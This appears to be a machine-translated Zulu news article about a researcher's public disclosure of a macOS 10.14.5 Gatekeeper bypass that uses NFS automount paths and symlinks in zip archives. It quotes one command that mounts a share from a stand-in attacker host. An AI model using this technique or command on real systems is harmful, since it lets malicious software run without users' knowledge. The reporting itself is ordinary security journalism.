Vala isikhangiso

Umcwaningi wezokuphepha uFilippo Cavallarin uthumele isexwayiso mayelana nesiphazamisi ku-macOS 10.14.5 kubhulogi yakhe. Lokhu kuhlanganisa namathuba okudlula ngokuphelele izinyathelo zokuphepha zoMgcini-sango. Ngokusho kukaCavallarin, uveze iphutha ku-Apple kakade ngoFebhuwari walo nyaka, kodwa inkampani ayizange ililungise kusibuyekezo sakamuva.

I-Gatekeeper yasungulwa i-Apple futhi yafakwa ohlelweni lokusebenza lwedeskithophu yayo okokuqala ngqa ngo-2012. Kuyindlela evimbela uhlelo lokusebenza ukuthi lusebenze ngaphandle kolwazi nemvume yomsebenzisi. Ngemva kokulanda uhlelo lokusebenza, i-Gatekeeper ihlola ngokuzenzakalelayo ikhodi yayo ukuze ibone ukuthi isofthiwe isayinwe kahle yini i-Apple.

Eposini lakhe lebhulogi, uCavallarin uthi i-Gatekeeper, ngokuzenzakalelayo, ibheka kokubili isitoreji sangaphandle kanye nezabelo zenethiwekhi njengezindawo ezivikelekile. Noma yiluphi uhlelo lokusebenza oluhlala kulokhu okuhlosiwe lungaqaliswa ngokuzenzakalelayo ngaphandle kokuhlola i-Gatekeeper. Yilesi sici esingase sisetshenziswe ukuze kwethulwe isofthiwe enonya ngaphandle kolwazi lomsebenzisi.

Isici esisodwa esivumela ukufinyelela okungagunyaziwe isici esizihambelayo, esivumela abasebenzisi ukuthi bakhweze ngokuzenzakalelayo ukwabelana kwenethiwekhi ngokucacisa indlela eqala ngokuthi "/net/". Njengesibonelo, i-Cavallarin icaphuna indlela ethi "ls /net/evil-attacker.com/sharedfolder/" engabangela isistimu yokusebenza ukuthi ilayishe okuqukethwe kwefolda ethi "sharefolder" endaweni ekude engase ibe nonya.

Ungabuka indlela usongo olusebenza ngayo kuvidiyo:

Esinye isici iqiniso lokuthi uma ingobo yomlando ye-zip equkethe i-symlink ethile eholela emsebenzini wokuzihambela yabiwa, ngeke ihlolwe uMgcini-sango. Ngale ndlela, isisulu singadawuniloda kalula ingobo yomlando enonya futhi ayivule, okuvumela umhlaseli ukuthi asebenzise cishe noma iyiphi isofthiwe ku-Mac ngaphandle kolwazi lomsebenzisi. I-Finder, efihla izandiso ezithile ngokuzenzakalelayo, futhi inesabelo sayo salokhu kuba sengozini.

UCavallarin uthi kubhulogi yakhe ukuthi u-Apple udonse ukunaka kwesistimu yokusebenza ye-macOS ngoFebhuwari 22 walo nyaka. Kepha maphakathi noMeyi, u-Apple wayeka ukuxhumana noCavallarin, ngakho uCavallarin wanquma ukwenza yonke into esidlangalaleni.

mac-finder-kit

Umthombo: I-FCVL

.